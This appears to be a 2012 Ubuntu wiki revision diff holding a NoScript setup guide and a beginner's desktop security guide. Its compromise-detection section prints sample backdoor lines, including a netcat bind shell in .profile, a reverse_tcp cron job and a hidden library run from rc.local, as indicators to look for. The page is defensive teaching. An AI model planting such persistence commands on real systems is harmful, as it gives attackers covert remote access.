BasicSecurity

Differences between revisions 113 and 114
Revision 113 as of 2012-02-28 21:25:37
Size: 44861
Editor: 96-28-46-134
Comment: trying to create sub page for noscript
Revision 114 as of 2012-02-28 21:31:22
Size: 37671
Editor: 96-28-46-134
Comment:
Deletions are marked like this. Additions are marked like this.
Line 327: Line 327:
= NoScript Configuration Guide =

This is a quick run-through of configuring NoScript under Firefox. This guide assumes you already have NoScript installed in your Firefox Browser.<<BR>><<BR>>

== Click the NoScript (S) icon ==

We begin by clicking the NoScript (S) icon next to your URL bar in firefox and choose "Options"<<BR>>

== Under the General Tab ==

The default Settings are Fine.<<BR>>

== Under the Whitelist Tab ==

You should add a list of frequently visited sites that you trust (in other words create a "Whitelist"). Please note Whitelisting a site will not stop NoScript from protecting you from XSS/CSRF and ABE violations (we'll explain this more later). You will notice there are already some sites whitelisted for you. If for some reason you do not trust those sites you may highlight them and click "Remove Site" and it will no longer be in the whitelist. You should add trusted top-level sites to make it easier.<<BR>>

'''Adding a whitelisted site''': Simply type the domain of the site into the "Address of Website Bar" and click "Allow" example : http://ubuntuforums.org or ubuntuforums.org<<BR>>

 {{http://dangertux.no-ip.org/downloads/whitelist.png}}

After you have whitelisted the sites you commonly visit and trust you are done here.<<BR>>

Note : You need to weigh the probability that the site is secure when whitelisting it. For example: http://canonical.com (probably okay) http://superleethackersecrets.ru (probably not so much). Keep in mind this is entirely subjective and unless you plan on running a vulnerability assessment against the site all you can do is trust the administration of that site.<<BR>>

== Under the Embeddings Tab ==

 {{http://dangertux.no-ip.org/downloads/embeddings.png}}

This is an important tab and we will be modifying the default settings considerably here. Outside of the default settings you probably also want to place a check in the following boxes:<<BR>>
 * "Forbid <IFRAME>"
 * "Forbid <FRAME>"
 * "Forbid WebGL"
 * "No placeholder objects from sites marked as untrusted"

Additionally for ease of use you may wish to choose "Collapse Blocked Objects". This doesn't add or detract security, it just makes sites displaying blocked cross site content display more clearly.<<BR>>

"Apply these restrictions to Whitelisted Sites" : This should probably be left unchecked unless you are super paranoid and want to break all your favorite sites.<<BR>>

== Under the Appearance Tab ==

This is entirely up to you, and depends on how you want NoScript to display itself. I leave it at default, and will not discuss it further here.<<BR>>

== Under the Notifications Tab ==

This is how noisy NoScript is going to be. It will not change the amount of protection NoScript gives you. However, it will tell you when NoScript alerts you or doesn't alert you to different blocked content or actions. The default settings are fine here as well.<<BR>>

== Under the Advanced Tab ==

Next we will go through your advanced NoScript options and the several sub tabs it contains.<<BR>>

=== Untrusted sub-tab ===

 {{http://dangertux.no-ip.org/downloads/untrusted.png}}

For untrusted sites you will wish to place a check in the following boxes: <<BR>>
 * "Forbid bookmarklets"
 * "Forbid META redirections inside <NOSCRIPT> tags">

=== Trusted sub-tab ===

The default settings for this sub-tab are acceptable so long as you are not "Trusting" sites that should not be trusted, refer to the same procedure as whitelisting.<<BR>>

=== XSS sub-tab ===

This tab allows you to configure your cross site scripting protection and whitelisting. It offers the ability for you to enter regular expressions for pattern matching of sites to trust cross site content from. By default the settings in the XSS tab are relatively secure. If you do not know regex I do not suggest attempting to learn here as a typo can lead you from trusting cross-site content from "look alike domains" like fakebook.com as opposed to facebook.com. If you wish to learn about basic regex [[http://linuxreviews.org/beginner/tao...r_expressions/|here]] is a decent explanation.<<BR>>

=== HTTPS sub-tab ===

This sub-tab allows you to force SSL on certain sites (of your choosing) and affects SSL cookie behavior. It has two sub-sub-tabs "Behavior" and "Cookies".<<BR>>

==== Behavior sub-sub-tab ====

 {{http://dangertux.no-ip.org/downloads/https.png}}

I would not recommend using "Force forbid active web content unless it comes from a HTTPS connection" as it will break the vast majority of websites. However, I do recommend forcing HTTPS for sites where you store important information and or conduct financial transactions. In my example you can see I added my banks and social networking sites. You may type them in the pane seperating them with newlines. When you have done that move to the "Cookies" sub-sub tab.<<BR>>

==== Cookies sub-sub-tab ====

 {{http://dangertux.no-ip.org/downloads/https2.png}}

This sub-sub-tab allows you to force cookie encryption over SSL. All major sites should support this functionality, and as you can see from the example I added the same sites that I chose to force SSL for in the previous tab. You add them in the same manner. Once you are done we can move on to the ABE Tab.<<BR>>

=== ABE Tab ===

This stands for '''A'''pplication '''B'''oundary '''E'''nforcement. This is one of the ways NoScript prevents things like NAT Pinning and some DNS based attacks. The default settings are fine, however, its important to understand the major role this plays in your protection. I'm sure many of us know that 192.168.1.1 is a private address, meaning you might find it on your home network. Possibly your router's IP address. That being said, no internet based host should be sending anything to this address. If it is doing so it is likely attempting to use your machine as a relay to send code to another machine on your network, otherwise known as NAT pinning. That being said, if you are hosting a home server, this may cause issues if you are on the same network with the server, so don't freak out of if you get an ABE warning visiting your own website.<<BR>>

=== External Filters Tab ===

Again the default settings here are fine. However, I will give a brief overview of what this tab does. It allows you to create filters to block certain MIME types. For those who don't know a MIME type is, essentially it is a file type. Like we all know .jpg is an image, or .fmv is a flash movie file. This allows you to set up filters based on those file types, on a site by site basis. This allows extremely fine grained control, so much so that we're not going to cover it here. However, if you would like to try to experiment I would suggest picking a content rich site and creating filters one by one to block all the content on the site but the static html. That should get you familiar with MIME type blocking. <<BR>>

After you are done configuring NoScripts Options, make sure "Forbid Scripts Globally" is Enabled (this will not effect your whitelisted sites). Restart your browser and you will surf safer.<<BR>>

-----

Basic Ubuntu Security Guide, Desktop Edition

Who Did We Write This For?

Security is a very broad, potentially daunting subject to a new Ubuntu user. It's crazy to think that anyone can boil security down to a list of 7 things. So we didn't even try. Instead, our goal is to present a listing of the most basic security concepts that can be fairly easily implemented while you learn. This guide was inspired and written by several new users of Ubuntu who were very interested in learning how to hack around their brand new Ubuntu operating systems. We were lucky enough to have some security professionals collaborate with us. But we still don't claim that we will reduce your risk to zero. We are presenting a pragmatic approach to security.

This guide is intended for the typical, average home user that is in the process of learning how to use Ubuntu. So if you just surf the net, play games (on-line & off-line), do on-line banking, education...then you are the intended audience. However if you are running a network server (especially one that is accessed via the Internet) or if you use Ubuntu in your corporate environment (or simply work from home) then the advice you need is more specialized and beyond the scope of this guide. If you don't know whether you are running a server or not, then read this.


Security Tools and Concepts That Are Easy to Use

In order to simplify the very complex world of security, we have broken it down into two sections. In this first section, we will discuss security tools in Ubuntu that you can configure and (once configured) require little interaction. We will also discuss general security concepts that are easy to implement into your daily computer use. There is a lot of existing security information already in existence in the Ubuntu Wikis and stickies in the Ubuntu Forums. There are some great resources there, in fact one of the best guides is linked here. But a lot of that material will seem complex to the new Ubuntu user - so the goal of this guide was to take the existing material and simplify it, making it possible to bridge the gap.

Your Tolerance for Risk

We've all heard the argument that if you make a system secure, you also hinder access, create obstacles, and complicate use. It is up to the individual user to determine what his tolerance for risk is. This Wiki will outline vectors of potential vulnerabilities in your Ubuntu system, and you can evaluate them and determine how those risks relate to your personal situation.

Linux Vulnerabilities

The majority of new users are coming from Windows environments, where security focuses mostly on anti-virus software. To understand security on Ubuntu, you must shift your thinking from this point of view. In the following bullets, we're going to analyze what threats actually effect you as a Ubuntu user.

  • Myth: If I install an anti-virus program I'll be fine.

  • Reality: At the time of writing, there are no known viruses on the big bad web designed to target Linux. A few targeting Windows can execute in a manner that could allow compromise of a Linux system via an interpreter layer like Wine. Very few people recommend existing anti-virus software for Linux machines, in part because there are few decent free anti-malware solutions available. Enterprise class solutions are good, but the consumer-grade products aren't on par with their Windows counterparts enough to warrant their use. Moreover, if you focus entirely on viruses then you are ignoring the vast majority of real threats to your Ubuntu machine.

  • Myth: Security through obscurity keeps me safe.

  • Reality: It's a favoured argument from Linux supporters, but Linux/Ubuntu is not that obscure to “crackers”. They may be obscure to you or your friends, however, there are many who know how to exploit Linux vulnerabilities just as easy as Windows, Mac OSX, Solaris, AIX, or any other operating system's vulnerabilities. The best defence is knowledge and preparation. Relying on an “obscure” operating system to hide behind is NOT a good strategy.

  • Myth: I can browse however I want to because malware on the web is mostly designed for Windows.

  • Reality: While the majority of malware does target Windows, this statement overlooks the fact that an entire spectrum of web based attack vectors exist that work on any operating system. Cross Site Scripting, Cross Site Request Forgery, Click-Jacking, Session Riding, and many other methods can be used to exploit weaknesses in a relationship of trust between you and a website, or a website and you, regardless of your operating system. For things like this we have browser add-ons which will be discussed in the browser security section.

  • Myth: I don't need to use fancy browser add-ons when using public access wifi because I use Ubuntu.

  • Reality: An absurd statement. Most attacks carried out on public wifi include several varieties of man in the middle attacks. If you want to utilize public wifi, it is highly discouraged to do anything more than trivial in nature with it unless you are an advanced user and you know how to set up a virtual private network (VPN), a VPN via Secure Shell (SSH), or use Secure Sockets Layer (SSL) in conjunction with SSLstrip.

  • Myth: I don't need a firewall because Ubuntu has no open ports by default.

  • Reality: This is a matter of risk tolerance. Added protection, particularly that which takes only a few minutes to set up, is always worth it. Firewalls are discussed in more depth later in this document.

  • Myth: Windows malware can not compromise Ubuntu.

  • Reality: Ubuntu CAN be compromised by Windows malware if you're using Wine. This is not to say that Windows malware can infect a Linux system directly, however it CAN, if targeted properly, utilize the Wine interpreter to send system calls to the Linux kernel. This is a very rare case, and it is highly unlikely that it would occur as it would be a very targeted attack. But for completeness sake we should mention that it CAN happen.

  • Myth: Ubuntu is harder to exploit than Windows, Mac OSX, whatever else - and it's targeted less than those other operating systems as well.

  • Reality: The process of discovering a vulnerability and exploiting it is pretty much the same across the board, regardless of operating system.

These are just some common myths associated with Ubuntu and security. This list is not comprehensive, but it covers the largest misconceptions held by new users. This does not mean that Ubuntu is inherently insecure, or is less secure than previous versions, or is more/less secure than any other operating system. It is just an effort to dispel common myths and get the reader (you) thinking in a positive direction toward improving their system's security posture. If you follow the steps in this Wiki, you will have a decent defense built to protect your machine from viruses as well as the other more pressing threats out there.

And of course, we'd be remiss not to mention social engineering. What information you're putting into public view? Do you know who you're giving valuable information to? Social engineering is important to understand but beyond the scope of this Wiki.

Backups

Reinstalling an operating system again after it corrupts is annoying. But losing valuable personal pictures, letters, emails... these are priceless and cannot be replaced. If you are prepared to wipe and reinstall with very little notice, then you are far more secure. Moreover, there are many threads in the Ubuntu Forums that describe problems that would have been avoided if the user had made good backups. It is important to make special backups before certain risky operations like upgrading to a new version, operations on partitions and partition tables, using dd, etc. Finally, if you're concerned that your computer has been infected or "cracked," then you can restore Ubuntu to a known previously good state.

To quote the introduction of Duplicity Backup, "There are many different applications that are available to backup Ubuntu. Each one has its strengths and weaknesses. Some are made for enterprise environments where it is necessary to back up many computers quickly and efficiently. Others are made for home environments and come with a simple wizard-driven GUI or command line interface...Each application can backup to one or many DVDs, CDs, disk drives, and other media or may not backup to one or more of those things. As varied as these programs are, so are the needs of the individuals who use them." This link can help you decide where to backup your data, what to backup, and when.

It All Starts With a Good Password

Obviously if an attacker doesn't have your password, then it's harder for him to make changes on your machine. A strong unique password for each account is best - consider using a password safe (but remember that that password MUST be a good one!) Read this discussion regarding the process of choosing a good password.

Know What Sudo is Doing

If you're following a set of instructions and you're about to type in sudo, ask yourself "Do I REALLY know what this command is about to do?" If you can't explain it to your grandmother, then you don't know what's going to happen. Related to that - if you get asked for your password, make sure you know what you've just done to trigger that response. The system is trying to protect you. Here is an explaination of sudo

Don't Log in as Root

An excellent way to find yourself in deep trouble is to modify permissions as root. Logging in as root means you will be browsing the Internet as root, drive by downloads (downloads that you did not authorize or that you authorized but did not realize the consequence behind), malicious scripts can all now execute with root permission. Default settings in Ubuntu will not allow you to log in as root.

Encrypt Your Home Folder

Encrypting the home folder will help for physical security. If someone is able to sit down in front of your computer or if they steal it, they won't be able to see the files in your home folder. In Ubuntu when you encrypt the home folder, the folder mounts when you log in which makes it readable to anyone sitting in front of your computer. Once you log out, the home folder unmounts and is encrypted again. Encrypting the home folder will do nothing to protect you from on-line threats. As long as the encrypted folder is mounted, it will be plain text for anyone with access.

You can encrypt your home folder or the entire hard drive on first install. Alternatively you can click here and here to learn how to add encryption to your home folder after installation. You could even just encrypt a particular file, a sub-directory, a usb stick... the choices are endless.

There are risks with encryption, so carefully evaluate your personal situation to determine if it is right for you. If you lose the password then your chances of recovering the data drop to almost nil. You should also keep in mind that if you encrypt your home folder or hard drive, that if your system fails later on it will be harder to recover your files. You will have to consider the value of the data you store on your computer to determine if encryption is worth the risk. For instance, if you insist on saving a detailed list of all your financial accounts in a text file, then encryption is vital. But if you don't store anything of personal value on the hard drive, then encryption may be less necessary.

Least Privileges, Always

Always make sure you are using the least amount of privileges/permissions to do the task necessary. Use only what you need, nothing more. If you are surfing the net and come across a "drive-by download" site, then what the malicious program has access to changes dramatically if it has lowered privileges. Learn how to use file permissions and non-privileged users (which Ubuntu makes very easy). Here is a link to everything you need to know about file permissions. Also consider enabling guest accounts if you will have other people using your computer. Here is a discussion on the security of guest accounts in Ubuntu.

Security Updates

Security updates are released by Ubuntu developers when they discover and patch vulnerabilities. If you don't install the updates then you retain the vulnerability. Ubuntu allows you to have security updates automatically installed - once configured you don't need to run security updates manually again. Search for the Update Manager on your desktop and click on "settings" to configure how you want Ubuntu to manage updates. Or you can configure automatic updates via terminal.

Know What You Have, Have What You Know

Don't run services you don't need. Do you really need a VOIP phone system? What about Secure Shell (SSH), Virtual Network Computing (VNC), Apache server? If you need a service, make sure you understand it and can properly secure it. You can't secure what you don't understand.

Make Your Browser More Secure

The majority of threats to your machine come from your browser, even when you use common sense. You have absolutely no control over vulnerabilities on someone else's web page as an end user, so it's important to defend yourself against any malicious activity originating from a compromised web page. If you are interested in learning how browser exploits happen, you can read this summary of the top ten vulnerabilities in a poorly designed web page.

Secure your browser. We will discuss Firefox because that's the browser packaged in Ubuntu. However, other browsers have similar features. We recommend that you use the following services. As mentioned before, these measures may inhibit functionality until you manually configure them. Again you must weigh the need for security against the need for functionality as it relates to your personal situation.

  • Preferences: Find Preferences in the menu bar of Firefox. Under the privacy tab you can tell web sites you don't want to be tracked and you can choose to never remember history. You can choose to whitelist sites for specific needs using exceptions, allow for session at most; clear history when closing the browser. Choose "never remember history" so that if someone hijacks your browser section, they won't find any valuable stored data. Don't use "hardware acceleration".

  • NoScript: If you unknowingly visit a compromised website, this will prevent scripts (i.e. programs) from running on your system. It can be a tricky tool to use at first glance as it blocks all scripts from running at first. If you spend a little time getting familiar with NoScript, you will find it easier to use. As a user, you tell NoScript what sites to partially or fully trust. Don't "allow all scripts globally" under any circumstances! Here is an excellent explanation why we recommend NoScript.

Configuring NoScript is notoriously daunting to the new user. A helpful guide is included on a separate page, https://wiki.ubuntu.com/BasicSecurity/NoScript.

  • Adblock Plus: You can tell by the name that it (surprise!) blocks annoying ads, but it can also block those ads from collecting personal information about you. Adblock Plus provides a default list of blocked ads. Additionally, you can block any individual ads or scripts that show up by adding them manually.

  • BetterPrivacy: This add-on will prevent websites from installing “super cookies” on your computer designed to track your history for marketing research.

  • ClickClean: This is a simple tool to delete your browsing history, erase all temporary internet files, remove downloaded files history, cookies, Flash LSO, typed URLs. Allows for automatic deletion of private data when Firefox closes. Basically if your browser session is ever hijacked, then the hijacker will get little valuable information.

The importance of securing your browser cannot be overstated. We've listed some of the simple tools you can implement to drastically improve your security. There are numerous others aimed at security as well as privacy, we encourage you to research those.

Home Network

Most computer users at home have a local network...often without even realising it. We encourage you to learn more about securing your home network - again, you can't secure what you don't understand. The CERT Guide to Home Network Security provides an excellent overview of the basic principles of networking and the internet. Learn some of the fundamentals about securing your router. For instance, if you use wireless access, make sure you're using STRONG encryption: not WEP but WPA/WPA2. Use a GOOD password consisting of all 63 characters, you only have to type it once anyway.

Devices plugged into your network can be accessed by unauthorized users just as easily as your computer can. Learn about making a networked printer more secure.

Repeating All of the Above on Each System

Be consistent, if you do these things with your desktop Ubuntu system you will find it is actually pretty secure. If you have two computers running Ubuntu, then repeat this process on both computers. If you've got one computer partitioned, then secure all partitions. Now apply this to the other devices on your network. This includes any other computers, cell phones, routers, printers, game consoles whatever. Your network's security is only as strong as the weakest link.


Security Tools You Have to Regularly & Actively Engage

So that was the "easy" stuff. True security is an ongoing process, and a lot of the really good security tools require regular interaction from you. The next tools we describe are more advanced because you cannot "set and forget" them. They also require more effort to setup and use effectively, but the effort is worth it. The more security measures you implement from this Wiki, the more secure you will be.

Firewall

There is a lot of existing information about firewalls - along with a long-term raging debate on the need of a firewall on Ubuntu. We recommend you enable it because you have ports open if you are reading this page. Traffic can go in and out of that port unhindered without a firewall. Malicious programs can open arbitrary ports unless you have a firewall to prevent that. A NAT router can add a layer of protection, but it will not protect you in lieu of a firewall. This additional guide will provide more information.

Use your firewall PROPERLY. Don't set it and forget it, learn how it works, set decent rules.Here is a tutorial showing how to enable a firewall in Ubuntu. However, adding port numbers can feel confusing. It if helps, think of it this way - currently you're reading this guide because you accessed a webpage hosted by wiki.ubuntu.com. To make the connection (and therefore to see the content) you have to connect your browser to that website by accessing Port 80. Another example is when you pick up your email. Your computer makes a connection to your mail server on Port 110. The other port numbers that you add provide similar functions.

AppArmor

AppArmor can strengthen our security. To quote the Novell site, "AppArmor is designed to provide easy-to-use application security for both servers and workstations. Novell AppArmor is an access control system that lets you specify per program which files the program may read, write, and execute. AppArmor secures applications by enforcing good application behavior without relying on attack signatures, so it can prevent attacks even if they are exploiting previously unknown vulnerabilities." AppArmor has a pretty steep learning curve for new users. However, once you master it, creating profiles for most applications is fairly simple. It only gets tricky when you deal with applications that have to change functions a lot (for instance, Apache). Here is a tutorial on AppArmor.

Did I Just Get Owned?

A very popular question on the Ubuntu Forum is "I saw this output on a log. Is it bad?" This section will cover the basics of log auditing so that you can begin to understand which log output is concerning and which is probably harmless. We will also show you how to keep an eye on different aspects of your system in order to make sure you haven't gotten "owned".

Logging is an incredibly powerful feature. It can give you intelligence on how an attack was carried out and the extent of the compromise. As such if your system is cracked, the first place a cracker will go after gaining root on the system will be to sanitize your log files. One of the quickest ways to determine if your system was compromised is if your key log files are tampered with. It's often glaringly obvious that a log file has been altered. Important signs to note in your log files when checking for tampering are the following:

  • Incorrect time stamps: Many times attackers will copy and paste legitimate log files over the existing log, this will create impropriety in that the log will not be from the time it was supposed to be.

  • Completely sanitized: If the log file is completely gone, it is time to start suspecting something is up. Log files don't just disappear.

  • Partially sanitized: If large chunks of time (more than 5 minutes) are unaccounted for in a log file while the machine was running, it is a safe bet something has happened that someone didn't wish to be seen.

If you see any of the above signs it's time to do some further digging. It would be safe to assume the machine may be compromised.

Now let's take a look at some of your key logs and auditing methods for determining a system compromise.

Log File Viewer

Ubuntu provides a convenient graphical log viewer for newer users. It can be found in Administration > Log File Viewer (On 10.04.3 LTS). Otherwise all the log files mentioned can be found in /var/log and viewed using terminal commands such as cat, more, less, head, and tail.

  • http://dangertux.no-ip.org/downloads/logviewer.png

syslog

Syslog can be invaluable when trying to detect a compromised service or a possibly rooted system. It logs all events at the system level, including kernel behaviour and activity. Often, when a service is compromised it may cause the service to crash. This crash may or may not yield remote code execution. You may notice your system is behaving weirdly. If you are running several services on your machine, particularly services frequent to buffer overflow type attacks (applications that accept user input, either in the form of files or data), this file can be helpful in determining if a "crash" or segmentation fault has occurred. Now it's important to note that a seg fault does not mean your system was compromised. Sometimes an application will seg fault all on its own with no help. However, if you notice other interesting phenomena that are unexplained, it might be a good place to start.

Here is an example seg fault from the mysql service:

  • [Mon Aug 29 14:51:14 2011] [notice] child pid 22622 exit signal Segmentation fault (11)

You can also notice naughty activity when a rootkit is hooking kernel space memory in syslog. Here is an example of the phalanx rootkit hooking the Linux kernel and the last syslog entry associated with it :

  • Nov  7 21:27:40 dangertux-laptop kernel: [ 7549.229981] phalanx[27964]: segfault at 763405 ip 080490ee sp bfe940b0 error 4 in phalanx[8048000+5000]
    Nov  7 21:28:09 dangertux-laptop kernel: [ 7577.979252] Program phalanx tried to access /dev/mem between 0->1f400000.
    Nov  7 21:28:09 dangertux-laptop kernel: [ 7577.979292] phalanx[29055]: segfault at 763405 ip 080490ee sp bff465e0 error 4 in phalanx[8048000+5000]

Syslog is also one of the most popularly tampered log files, so if you see any missing time, or any anomalies it is a good idea to start looking into the potential for a system compromise having occurred.

auth.log

This file contains logs on all user authentication. This can be very helpful in determining if someone has gained unauthorized access to your system either locally or remotely. This file is also useful to determine if a brute force attack has been successful against a remote administration service such as SSH. Due to the incriminating nature of this log file, this will be one of the first logs sanitized by a potential attacker. As such if this log appears to be tampered with, it is almost a dead give away that your system has been compromised.

An example log snippet from a brute force against SSH might look like this :

  • Nov  7 19:39:36 dangertux-laptop sshd[1972]: Failed password for dangertux from 192.168.0.4 port 34163 ssh2
    Nov  7 19:39:42 dangertux-laptop sshd[1974]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.0.4
    (these same entries about 5 million more times followed by this entry)
    Nov  7 19:40:22 dangertux-laptop sshd[1985]: Failed password for dangertux from 192.168.0.4 port 44615 ssh2
    Nov  7 19:40:28 dangertux-laptop sshd[1987]: Accepted password for dangertux from 192.168.0.4 port 59713 ssh2

Also random guessing of usernames is an indication of a brute force attempt. Particularly if services and common usernames are being tried. The following are commonly brute forced usernames, if you see these names trying to authenticate against your system this is a good indicator that someone may be trying to brute force one of your services (usually SSH).

  • admin administrator nagios squid www-admin root guest web_admin www-developer

ufw.log

This is your Uncomplicated Firewall log. Blocked traffic will show up here. If you have configured strong firewall rules, you may notice UFW blocking traffic to an unauthorized port. Random arbitrary ports are often used by different malicious applications, they use oddball ports to try and obfuscate their existence as they make a remote connection back to their owner. If your firewall's outbound rules are configured properly and the creator of the malicious application wasn't very diligent you should be able to notice the traffic being blocked. Here is an example of UFW blocked traffic:

  • Nov  5 14:46:18 dangertux kernel: [ 2080.258253] [UFW BLOCK] IN= OUT=eth0 SRC=192.168.0.4 DST=224.0.0.251 LEN=67 TOS=0x00 PREC=0x00 TTL=255 ID=0 DF PROTO=UDP SPT=5353 DPT=5353 LEN=47

Here we see blocked outbound traffic. It is UDP originating at port 5353 bound for port 5353. It is broadcast traffic as it is bound for 224.0.0.251 which is a multicast address. It is important to pay attention to the destination and source ports here as there are quite a few ports which are frequented by malicious applications. Here are a few examples of the more common ones:

  • 1337 4141 4444 6666 7777 9999 13337 31337 44444

There are others but if you start seeing odd traffic on any unregistered port, there is a chance that it is malicious if you did not authorize it.

If you are using iptables instead of UFW, the same can be seen in either syslog or kern.log.

Watching Network Traffic

When being mindful of your system's security it is important to watch network traffic. Often times malicious applications or unauthorized access will lead to the opening of a connection that is equally malicious and unauthorized. A quick way to view your active connections, both inbound and outbound, is with the netstat command. Netstat can give you a near real-time look at the connections your system has.

For instance, the command sudo watch netstat -anlp will provide a fairly verbose output for netstat that updates every 2 seconds.

Here is example output from that command:

  • http://dangertux.no-ip.org/downloads/cleannetstat.png

Let's take a look at what that means for us. The first column tells us what the protocol is. The Recv-Q and Send-Q is how much data queued for the connection and isn't really that important. The local address is the listening address of the service, this is 127.0.0.1. The :631 indicates we are listening on port 631. The Foreign Address is the address we are connected to. 0.0.0.0:* means any host any port. We are in state Listen which means we do not have an active connection but are waiting for one. Our process ID and program name is 1122 and this is the common unix printing system daemon. Now here is an example of output that might be considered slightly more malicious in nature:

  • http://dangertux.no-ip.org/downloads/compromisednetstat.png

This output indicates a connection to a service running /bin/sh on 31337. This is a nearly direct indication that this machine has been compromised.

rkhunter & chkrootkit

rkhunter and chkrootkit are two applications that are designed to aid in the detection of a compromised system. They function by doing two things. First they check the integrity of commonly hooked system files. These files are often backdoored by an attacker in order to gain special access or glean credentials from a compromised system. An example of a frequently backdoored command in the Linux world is /bin/su.

It is important to understand that rkhunter and chkrootkit function best if they are given a benchmark standard. Meaning that you run them following your initial installation so that they may get a "base line" for what your system should look like. That way if changes are made, they will be able to detect the changes as potentially unauthorized. Note, sometimes updates may throw false positives due to the way these applications work.

The second thing that these applications do is they attempt to determine if your system has been compromised with a known, or signatured, root kit. They will look for files and process associated with known root kits, as well as known malicious communications ports associated with them. Additionally they will look for hidden pid's and hidden tcp ports, as this is often a sign of root kit like activity.

Bash Profiles

Yet another method by which an attacker can maintain access to a compromised machine is by loading a backdoor at login. Often times these can be noted in the following places:

  • /home/username/.bash_profile
    /home/username/.bash_rc
    /home/username/.profile

There are other locations but these are the three most targeted. An example entry that might be found in a modified .profile might include:

  • nc -l -p 4444 -e '/bin/sh' &

this would start a netcat listener that executes a shell when an attacker tried to connect. The persistence is there because it is in your .profile, and will be loaded every time your shell is loaded.

Cron Jobs

Another common way an attacker will maintain access to a compromised system is to add a cron job with a backdoor. This backdoor might be a simple netcat listener or it could be something else. In any case, if you suspect that you have been compromised, checking cron is a good idea.

The following output from sudo crontab -l indicates that something not so kosher is happening every 5 hours.

  • # m h  dom mon dow   command
    * 5 * * * /home/dangertux/reverse_tcp

Additional places to check for cron jobs being placed are as follows:

  • /etc/cron.daily
    /etc/cron.weekly
    /etc/cron.hourly
    /etc/cron.monthly
    /etc/cron.d

Tampered Environment & LD_PRELOAD

Another method a system may be backdoored is by adding the LD_PRELOAD= attribute to the environment. This will load a library often used to hook system calls and escalate privileges on a system. You can view your current environment by utilizing the printenv command. (Note that each user has their own environment.)

Additionally, if you suspect this you may wish to check /etc/ld.so.conf.d for any malicious links.

Hooked Run Level Scripts

An attacker will also commonly hook the rc.local on a root compromised machine. They will do this to maintain their presence on the machine.

If we look at the contents of our /etc/rc.local file we may find there is something not quite right on our compromised machine. An example entry in this file might be something along these lines:

  • sh '/usr/local/lib/.bad/libowned-4.0.0.so' &

This indicates that whatever libowned-4.0.0.so is, it is being executed at boot time generally by default. This file will not contain anything but a single exit 0 line. So if you see some strange additions here, particularly something as obvious as this line, it is safe to say your machine may be compromised.

Additional areas to check for potentially malicious scripts are the following directories:

  • /etc/rc0.d
    /etc/rc1.d
    /etc/rc2.d
    /etc/rc3.d
    /etc/rc4.d
    /etc/rc5.d
    /etc/rc6.d
    /etc/init.d
    /etc/networking/ (particularly note your interface pre-up and up scripts may be tampered with)

Additional Users

Often times when a system is compromised an attacker will create an additional user to allow them return access in the event you change your password. If you suspect a compromise has occurred you can and should check for the creation of additional users.

You may notice something similar to the following in your auth.log file if a user has been created.

  • Nov  8 11:22:14 dangertux-laptop useradd[1517]: new user: name=reallybadguy, UID=1001, GID=1002, home=/dev/null, shell=/bin/sh
    Nov  8 11:22:14 dangertux-laptop useradd[1517]: add 'reallybadguy' to group 'admin'
    Nov  8 11:22:14 dangertux-laptop useradd[1517]: add 'reallybadguy' to shadow group 'admin'

In your /etc/passwd file you may also notice an entry similar to this:

  • reallybadguy:x:1001:1002::/dev/null:/bin/sh




Acknowledgements

This Wiki was birthed on the Ubuntu Forums by MrLeek and Ms. Daisy. Contributions came from Dangertux, OpSecShellShock, haqking, Thewhistlingwind, dFlyer, vasa1, Olle Wiklund, CharlesA and a Mystery Guy Wink ;)

BasicSecurity (last edited 2012-12-28 10:50:07 by host86-182-68-148)